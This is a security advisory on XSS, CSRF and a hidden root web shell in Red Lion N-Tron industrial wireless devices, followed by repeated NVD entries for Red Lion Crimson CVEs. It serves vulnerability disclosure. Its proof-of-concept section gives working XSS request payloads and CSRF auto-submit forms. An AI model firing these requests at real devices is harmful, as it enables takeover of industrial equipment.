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SEC Consult Vulnerability Lab Security Advisory \u003c 20200902-0 \u003e\n=======================================================================\n title: Multiple Vulnerabilities\n product: Red Lion N-Tron 702-W, Red Lion N-Tron 702M12-W\n vulnerable version: \u003c=2.0.26\n fixed version:\n CVE number: CVE-2020-16210, CVE-2020-16206, CVE-2020-16208,\n CVE-2020-16204\n impact: High\n homepage: https://www.redlion.net/\n found: 2020-02-28\n by: T. Weber (Office Vienna)\n SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult\n Europe | Asia | North America\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"For over forty years, customers around the world have trusted Red Lion\nControls. Our award-winning industrial automation and\nnetworking solutions provide critical information and controls to\nimprove productivity, working with numerous devices and diverse\nprotocols to access data.\"\n\nSource: https://www.redlion.net\n\n\nBusiness recommendation:\n------------------------\nThe vendor recommends to change the hardware and use a newer product. \nSEC Consult recommends to remove the device from productive environments. \n\n\nVulnerability overview/description:\n-----------------------------------\n1) Reflected Cross-Site Scripting (XSS) - CVE-2020-16210\nA reflected cross-site scripting vulnerability was identified at the endpoint\n\"/pingtest_action.cgi\". \n\n2) Stored Cross-Site Scripting (XSS) - CVE-2020-16206\nStored cross-site scripting vulnerabilities are present on multiple endpoints. \nSuch placed payloads cannot be detected via browser-protection mechanisms as\nthey are embedded into the web-interface. An\nattacker is able to take over the device by exploiting this vulnerability. \n\n4) Hidden OS Web-Shell Interface - CVE-2020-16204\nAn undocumented interface, that contains a web-shell to the underlying OS, was\nfound to be present on the device. It is not referenced in the actual menu\nand is also not mentioned in the manual of the device. \nCommands can be executed as root on the device. A remote attacker can execute\nsystem commands via this way in combination with vulnerability #3. \n\nThis endpoint seems to be a leftover of the used Atheros SDK. \n\n5) Known BusyBox Vulnerabilities\nThe used BusyBox toolkit in version 1.11.0 is outdated and contains multiple\nknown vulnerabilities. The outdated version was found by IoT Inspector. \n\n6) Outdated and Vulnerable Software Components\nOutdated and vulnerable software components were found on the device during\na quick examination. \n\nThe vulnerabilities 1), 2), 3), 4) and 5) were manually verified on an emulated\ndevice by using the MEDUSA scalable firmware runtime. \n\n\nProof of concept:\n-----------------\n1) Reflected Cross-Site Scripting (XSS) - CVE-2020-16210\nThe \"pingtest_action.cgi\" endpoint can be used to trigger reflected XSS. \nhttp://$IP/pingtest_action.cgi?action=pingtest\u0026dst_ip_addr=1\u0026dst_addr_select=127.0.0.1\u0026lines=%3Chtml%3E%3Cscript%3Ealert(document.location)%3C/script%3E%3C/html%3E\n\n2) Stored Cross-Site Scripting (XSS) - CVE-2020-16206\nInjection of a XSS payload is possible on multiple endpoints. An example\nfor permanent XSS on the endpoint \"/network.cgi\" is the following request:\n-------------------------------------------------------------------------------\nPOST /network.cgi HTTP/1.1\nHost: $IP\nAccept-Encoding: gzip, deflate\nContent-Type: multipart/form-data; boundary=---------------------------195698564115308644282115103021\nContent-Length: 915\nAuthorization: Basic YWRtaW46YWRtaW4=\nConnection: close\nCookie: ui_language=en_US\nUpgrade-Insecure-Requests: 1\n\n-----------------------------195698564115308644282115103021\nContent-Disposition: form-data; name=\"netmode\"\n\nbridge\n-----------------------------195698564115308644282115103021\nContent-Disposition: form-data; name=\"wlanipmode\"\n\n0\n-----------------------------195698564115308644282115103021\nContent-Disposition: form-data; name=\"brip\"\n\n192.168.1.202\n-----------------------------195698564115308644282115103021\nContent-Disposition: form-data; name=\"brmask\"\n\n255.255.255.0\n-----------------------------195698564115308644282115103021\nContent-Disposition: form-data; name=\"brgw\"\n\n192.168.1.1\"\u003e\u003cscript\u003ealert(document.location)\u003c/script\u003e\n-----------------------------195698564115308644282115103021\nContent-Disposition: form-data; name=\"dns1\"\n\n\n-----------------------------195698564115308644282115103021\nContent-Disposition: form-data; name=\"dns2\"\n\n\n-----------------------------195698564115308644282115103021--\n-------------------------------------------------------------------------------\n\nThis can also be embedded in the HTML code as shown below:\n-------------------------------------------------------------------------------\n\u003chtml\u003e\n \u003cbody\u003e\n \u003cscript\u003ehistory.pushState(\u0027\u0027, \u0027\u0027, \u0027/\u0027)\u003c/script\u003e\n \u003cform action=\"http://$IP/network.cgi\" method=\"POST\" enctype=\"multipart/form-data\"\u003e\n \u003cinput type=\"hidden\" name=\"netmode\" value=\"bridge\" /\u003e\n \u003cinput type=\"hidden\" name=\"wlanipmode\" value=\"0\" /\u003e\n \u003cinput type=\"hidden\" name=\"brip\" value=\"192\u0026#46;168\u0026#46;1\u0026#46;202\" /\u003e\n \u003cinput type=\"hidden\" name=\"brmask\" value=\"255\u0026#46;255\u0026#46;255\u0026#46;0\" /\u003e\n \u003cinput type=\"hidden\" name=\"brgw\" value=\"192\u0026#46;168\u0026#46;1\u0026#46;1\u0026quot;\u0026gt;\u0026lt;script\u0026gt;alert\u0026#40;document\u0026#46;location\u0026#43;\u0026quot;\u0026#32;\u0026gt;\u0026#32;SEC\u0026#45;Consult\u0026quot;\u0026#41;\u0026lt;\u0026#47;script\u0026gt;\" /\u003e\n \u003cinput type=\"hidden\" name=\"dns1\" value=\"\" /\u003e\n \u003cinput type=\"hidden\" name=\"dns2\" value=\"\" /\u003e\n \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n \u003c/form\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n-------------------------------------------------------------------------------\n\n3) Cross-Site Request Forgery (CSRF) - CVE-2020-16208\nCSRF can be triggered on each endpoint as the whole web-interface does not\nimplement any protection mechanisms. Changing the hostname to \"SEC Consult\" can\nbe done with the following embedded HTML code:\n-------------------------------------------------------------------------------\n\u003chtml\u003e\n \u003cbody\u003e\n \u003cscript\u003ehistory.pushState(\u0027\u0027, \u0027\u0027, \u0027/\u0027)\u003c/script\u003e\n \u003cform action=\"http://$IP/system.cgi\" method=\"POST\" enctype=\"multipart/form-data\"\u003e\n \u003cinput type=\"hidden\" name=\"hostname\" value=\"SEC\u0026#32;Consult\" /\u003e\n \u003cinput type=\"hidden\" name=\"action\" value=\"chhost\" /\u003e\n \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n \u003c/form\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n-------------------------------------------------------------------------------\n\n4) Hidden OS Web-Shell Interface - CVE-2020-16204\nThe endpoint \"/admin.cgi\" is not referenced within the whole web-interface and\nalso not documented in the manual. By browsing this endpoint, multiple actions\ncan be natively triggered:\n * Execute commands in context of the root user\n * Upload files\n * Download files\n * Change access rights\nAll other actions can be done via the command execution. The lack of CSRF\nprotections allows attackers to execute commands on the device by luring a\nuser on malicious web-pages. \n\n5) Known BusyBox Vulnerabilities\nThe BusyBox shell autocompletion vulnerability (CVE-2017-16544) was verified on\nan emulated device:\n\nA file with the name \"\\ectest\\n\\e]55;test.txt\\a\" was created to trigger the\nvulnerability. \n-------------------------------------------------------------------------------\n# ls \"pressing \u003cTAB\u003e\"\ntest\n55\\;test.txt\n#\n-------------------------------------------------------------------------------\n\n6) Outdated Software Components\nBy analyzing the firmware a lot of components are found to be outdated:\n * BusyBox 1.0.1\n * PHP/FI 2.0.1\n * Dnsmasq 2.35\n * Boa 0.93.15\n\nVulnerable / tested versions:\n-----------------------------\nthe following firmware version has been tested:\n* Red Lion N-Tron 702-W / 2.0.26\n* Red Lion N-Tron 702M12-W / 2.0.26\n\n\nVendor contact timeline:\n------------------------\n2020-03-09: Contacting vendor through support.emea@redlion.net; No answer. \n2020-03-17: Asked for status update; No answer. \n2020-03-30: Asked for status update, added incoming.ics-cert@redlion.net to\n the list of recipients; No answer. \n2020-04-13: Requested support for coordination from CERT@VDE for the advisory. \n Sent the advisory to the CERT. \n2020-04-14: Security contact from CERT@VDE answered, that ICS-CERT was also in-\n formed. \n2020-07-17: Asked contact at ICS-CERT for status update; Contact stated that\n they are waiting for an update of Red Lion. \n2020-08-20: Received CISA draft for an advisory from CERT@VDE. \n2020-08-28: Found the published advisory on CISA\u0027s website* which was released\n on 2020-08-27. \n2020-09-02: Release of security advisory. \n\n* https://us-cert.cisa.gov/ics/advisories/icsa-20-240-01\n\nSolution:\n---------\nUpgrade to newer hardware. \n\n\nWorkaround:\n-----------\nNone. \n\n\nAdvisory URL:\n-------------\nhttps://www.sec-consult.com/en/vulnerability-lab/advisories/index.html\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\n\nSEC Consult\nEurope | Asia | North America\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It\nensures the continued knowledge gain of SEC Consult in the field of network\nand application security to stay ahead of the attacker. The SEC Consult\nVulnerability Lab supports high-quality penetration testing and the evaluation\nof new offensive and defensive technologies for our customers. Hence our\ncustomers obtain the most current information about vulnerabilities and valid\nrecommendation about the risk profile of new technologies. \n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your application https://www.sec-consult.com/en/career/index.html\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local offices https://www.sec-consult.com/en/contact/index.html\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: research at sec-consult dot com\nWeb: https://www.sec-consult.com\nBlog: http://blog.sec-consult.com\nTwitter: https://twitter.com/sec_consult\n\nEOF T. Weber / @2020\n\n\n",
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CVE-2022-3090 (GCVE-0-2022-3090)
Vulnerability from nvd – Published: 2022-11-17 21:55 – Updated: 2025-04-16 16:06
VLAI
Summary
Red Lion Controls Crimson 3.0 versions 707.000 and prior, Crimson 3.1 versions 3126.001 and prior, and Crimson 3.2 versions 3.2.0044.0 and prior are vulnerable to path traversal. When attempting to open a file using a specific path, the user's password hash is sent to an arbitrary host. This could allow an attacker to obtain user credential hashes.
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Assigner
References
1 reference
Impacted products
3 products
| Vendor | Product | Version | |
|---|---|---|---|
| Red Lion Controls | Crimson 3.0 |
Affected:
All versions , ≤ 707.000
(custom)
|
|
| Red Lion Controls | Crimson 3.1 |
Affected:
All versions , ≤ 3126.001
(custom)
|
|
| Red Lion Controls | Crimson 3.2 |
Affected:
All versions , ≤ 3.2.0044.0
(custom)
|
Date Public
2022-11-17 00:00
Credits
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CVE-2020-27283 (GCVE-0-2020-27283)
Vulnerability from nvd – Published: 2021-01-06 15:05 – Updated: 2026-06-02 20:12
VLAI
Summary
An attacker could send a specially crafted message to Crimson 3.1 (Build versions prior to 3119.001) that could leak arbitrary memory locations.
Severity
5.3 (Medium)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-404 - IMPROPER RESOURCE SHUTDOWN OR RELEASE CWE-404
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://us-cert.cisa.gov/ics/advisories/icsa-21-005-04 | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| n/a | Crimson 3.1 |
Affected:
Build versions prior to 3119.001
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CVE-2020-27279 (GCVE-0-2020-27279)
Vulnerability from nvd – Published: 2021-01-06 15:03 – Updated: 2026-06-02 20:09
VLAI
Summary
A NULL pointer deference vulnerability has been identified in the protocol converter. An attacker could send a specially crafted packet that could reboot the device running Crimson 3.1 (Build versions prior to 3119.001).
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-476 - NULL POINTER DEREFERENCE CWE-476
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://us-cert.cisa.gov/ics/advisories/icsa-21-005-04 | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
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| n/a | Crimson 3.1 |
Affected:
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CVE-2020-27285 (GCVE-0-2020-27285)
Vulnerability from nvd – Published: 2021-01-06 15:01 – Updated: 2026-06-02 20:08
VLAI
Summary
The default configuration of Crimson 3.1 (Build versions prior to 3119.001) allows a user to be able to read and modify the database without authentication.
Severity
6.5 (Medium)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-306 - MISSING AUTHENTICATION FOR CRITICAL FUNCTION CWE-306
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://us-cert.cisa.gov/ics/advisories/icsa-21-005-04 | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
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| n/a | Crimson 3.1 |
Affected:
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CVE-2019-10996 (GCVE-0-2019-10996)
Vulnerability from nvd – Published: 2019-09-23 15:58 – Updated: 2026-06-02 20:08
VLAI
Summary
Red Lion Controls Crimson, version 3.0 and prior and version 3.1 prior to release 3112.00, allow multiple vulnerabilities to be exploited when a valid user opens a specially crafted, malicious input file that can reference memory after it has been freed.
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
- CWE-416 - USE AFTER FREE CWE-416
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://www.us-cert.gov/ics/advisories/icsa-19-248-01 | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| n/a | Red Lion Controls Crimson (Windows configuration software) |
Affected:
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CVE-2019-10990 (GCVE-0-2019-10990)
Vulnerability from nvd – Published: 2019-09-23 15:46 – Updated: 2026-06-02 20:07
VLAI
Summary
Red Lion Controls Crimson, version 3.0 and prior and version 3.1 prior to release 3112.00, uses a hard-coded password to encrypt protected files in transit and at rest, which may allow an attacker to access configuration files.
Severity
6.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-321 - USE OF HARD-CODED CRYPTOGRAPHIC KEY CWE-321
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://www.us-cert.gov/ics/advisories/icsa-19-248-01 | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| n/a | Red Lion Controls Crimson (Windows configuration software) |
Affected:
Version 3.0 and prior, Version 3.1 prior to release 3112.00
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CVE-2019-10984 (GCVE-0-2019-10984)
Vulnerability from nvd – Published: 2019-09-23 15:58 – Updated: 2026-06-02 20:06
VLAI
Summary
Red Lion Controls Crimson, version 3.0 and prior and version 3.1 prior to release 3112.00, allow multiple vulnerabilities to be exploited when a valid user opens a specially crafted, malicious input file that causes the program to mishandle pointers.
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
- CWE-465 - POINTER ISSUES CWE-465
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://www.us-cert.gov/ics/advisories/icsa-19-248-01 | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| n/a | Red Lion Controls Crimson (Windows configuration software) |
Affected:
Version 3.0 and prior, Version 3.1 prior to release 3112.00
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CVE-2019-10978 (GCVE-0-2019-10978)
Vulnerability from nvd – Published: 2019-09-23 15:58 – Updated: 2026-06-02 20:02
VLAI
Summary
Red Lion Controls Crimson, version 3.0 and prior and version 3.1 prior to release 3112.00, allow multiple vulnerabilities to be exploited when a valid user opens a specially crafted, malicious input file that operates outside of the designated memory area.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-119 - IMPROPER RESTRICTION OF OPERATIONS WITHIN THE BOUNDS OF A MEMORY BUFFER CWE-119
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://www.us-cert.gov/ics/advisories/icsa-19-248-01 | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| n/a | Red Lion Controls Crimson (Windows configuration software) |
Affected:
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CVE-2022-3090 (GCVE-0-2022-3090)
Vulnerability from cvelistv5 – Published: 2022-11-17 21:55 – Updated: 2025-04-16 16:06
VLAI
Summary
Red Lion Controls Crimson 3.0 versions 707.000 and prior, Crimson 3.1 versions 3126.001 and prior, and Crimson 3.2 versions 3.2.0044.0 and prior are vulnerable to path traversal. When attempting to open a file using a specific path, the user's password hash is sent to an arbitrary host. This could allow an attacker to obtain user credential hashes.
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Assigner
References
1 reference
Impacted products
3 products
| Vendor | Product | Version | |
|---|---|---|---|
| Red Lion Controls | Crimson 3.0 |
Affected:
All versions , ≤ 707.000
(custom)
|
|
| Red Lion Controls | Crimson 3.1 |
Affected:
All versions , ≤ 3126.001
(custom)
|
|
| Red Lion Controls | Crimson 3.2 |
Affected:
All versions , ≤ 3.2.0044.0
(custom)
|
Date Public
2022-11-17 00:00
Credits
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CVE-2020-27283 (GCVE-0-2020-27283)
Vulnerability from cvelistv5 – Published: 2021-01-06 15:05 – Updated: 2026-06-02 20:12
VLAI
Summary
An attacker could send a specially crafted message to Crimson 3.1 (Build versions prior to 3119.001) that could leak arbitrary memory locations.
Severity
5.3 (Medium)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-404 - IMPROPER RESOURCE SHUTDOWN OR RELEASE CWE-404
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://us-cert.cisa.gov/ics/advisories/icsa-21-005-04 | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| n/a | Crimson 3.1 |
Affected:
Build versions prior to 3119.001
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CVE-2020-27279 (GCVE-0-2020-27279)
Vulnerability from cvelistv5 – Published: 2021-01-06 15:03 – Updated: 2026-06-02 20:09
VLAI
Summary
A NULL pointer deference vulnerability has been identified in the protocol converter. An attacker could send a specially crafted packet that could reboot the device running Crimson 3.1 (Build versions prior to 3119.001).
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-476 - NULL POINTER DEREFERENCE CWE-476
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://us-cert.cisa.gov/ics/advisories/icsa-21-005-04 | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
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| n/a | Crimson 3.1 |
Affected:
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CVE-2020-27285 (GCVE-0-2020-27285)
Vulnerability from cvelistv5 – Published: 2021-01-06 15:01 – Updated: 2026-06-02 20:08
VLAI
Summary
The default configuration of Crimson 3.1 (Build versions prior to 3119.001) allows a user to be able to read and modify the database without authentication.
Severity
6.5 (Medium)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-306 - MISSING AUTHENTICATION FOR CRITICAL FUNCTION CWE-306
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://us-cert.cisa.gov/ics/advisories/icsa-21-005-04 | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
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| n/a | Crimson 3.1 |
Affected:
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CVE-2019-10984 (GCVE-0-2019-10984)
Vulnerability from cvelistv5 – Published: 2019-09-23 15:58 – Updated: 2026-06-02 20:06
VLAI
Summary
Red Lion Controls Crimson, version 3.0 and prior and version 3.1 prior to release 3112.00, allow multiple vulnerabilities to be exploited when a valid user opens a specially crafted, malicious input file that causes the program to mishandle pointers.
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
- CWE-465 - POINTER ISSUES CWE-465
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://www.us-cert.gov/ics/advisories/icsa-19-248-01 | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| n/a | Red Lion Controls Crimson (Windows configuration software) |
Affected:
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CVE-2019-10978 (GCVE-0-2019-10978)
Vulnerability from cvelistv5 – Published: 2019-09-23 15:58 – Updated: 2026-06-02 20:02
VLAI
Summary
Red Lion Controls Crimson, version 3.0 and prior and version 3.1 prior to release 3112.00, allow multiple vulnerabilities to be exploited when a valid user opens a specially crafted, malicious input file that operates outside of the designated memory area.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-119 - IMPROPER RESTRICTION OF OPERATIONS WITHIN THE BOUNDS OF A MEMORY BUFFER CWE-119
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://www.us-cert.gov/ics/advisories/icsa-19-248-01 | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| n/a | Red Lion Controls Crimson (Windows configuration software) |
Affected:
Version 3.0 and prior, Version 3.1 prior to release 3112.00
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CVE-2019-10996 (GCVE-0-2019-10996)
Vulnerability from cvelistv5 – Published: 2019-09-23 15:58 – Updated: 2026-06-02 20:08
VLAI
Summary
Red Lion Controls Crimson, version 3.0 and prior and version 3.1 prior to release 3112.00, allow multiple vulnerabilities to be exploited when a valid user opens a specially crafted, malicious input file that can reference memory after it has been freed.
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
- CWE-416 - USE AFTER FREE CWE-416
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://www.us-cert.gov/ics/advisories/icsa-19-248-01 | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| n/a | Red Lion Controls Crimson (Windows configuration software) |
Affected:
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CVE-2019-10990 (GCVE-0-2019-10990)
Vulnerability from cvelistv5 – Published: 2019-09-23 15:46 – Updated: 2026-06-02 20:07
VLAI
Summary
Red Lion Controls Crimson, version 3.0 and prior and version 3.1 prior to release 3112.00, uses a hard-coded password to encrypt protected files in transit and at rest, which may allow an attacker to access configuration files.
Severity
6.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-321 - USE OF HARD-CODED CRYPTOGRAPHIC KEY CWE-321
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://www.us-cert.gov/ics/advisories/icsa-19-248-01 | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| n/a | Red Lion Controls Crimson (Windows configuration software) |
Affected:
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